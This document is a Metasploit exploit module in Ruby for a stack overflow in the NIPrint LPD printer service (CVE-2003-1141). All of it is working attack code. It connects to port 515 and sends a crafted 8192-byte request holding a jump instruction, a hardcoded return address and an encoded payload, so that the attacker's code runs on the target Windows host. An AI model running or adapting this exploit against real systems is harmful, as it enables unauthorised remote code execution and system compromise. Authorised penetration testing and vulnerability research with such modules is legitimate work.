NIPrint LPD Request Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'NIPrint LPD Request Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the  
Network Instrument NIPrint LPD service. Inspired by  
Immunity's VisualSploit :-)  
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
['CVE', '2003-1141'],  
['OSVDB', '2774'],  
['BID', '8968'],  
['URL', 'http://www.immunitysec.com/documentation/vs_niprint.html'],  
],  
'Privileged' => false,  
  
'Payload' =>  
{  
'Space' => 500,  
'BadChars' => "\x00\x0a",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>   
[  
['NIPrint3.EXE (TDS:0x3a045ff2)', { 'Ret' => 0x00404236 }], # jmp esi  
],  
  
'DefaultTarget' => 0))  
  
register_options( [ Opt::RPORT(515) ], self.class )  
end  
  
def exploit  
connect  
  
req = rand_text_alphanumeric(8192)  
req[ 0, 2] = "\xeb\x33"  
req[ 49, 4] = [target.ret].pack('V')  
req[ 53, payload.encoded.length ] = payload.encoded  
  
print_status("Trying target #{target.name}...")  
sock.put(req)  
  
handler  
disconnect  
end  
  
end  
`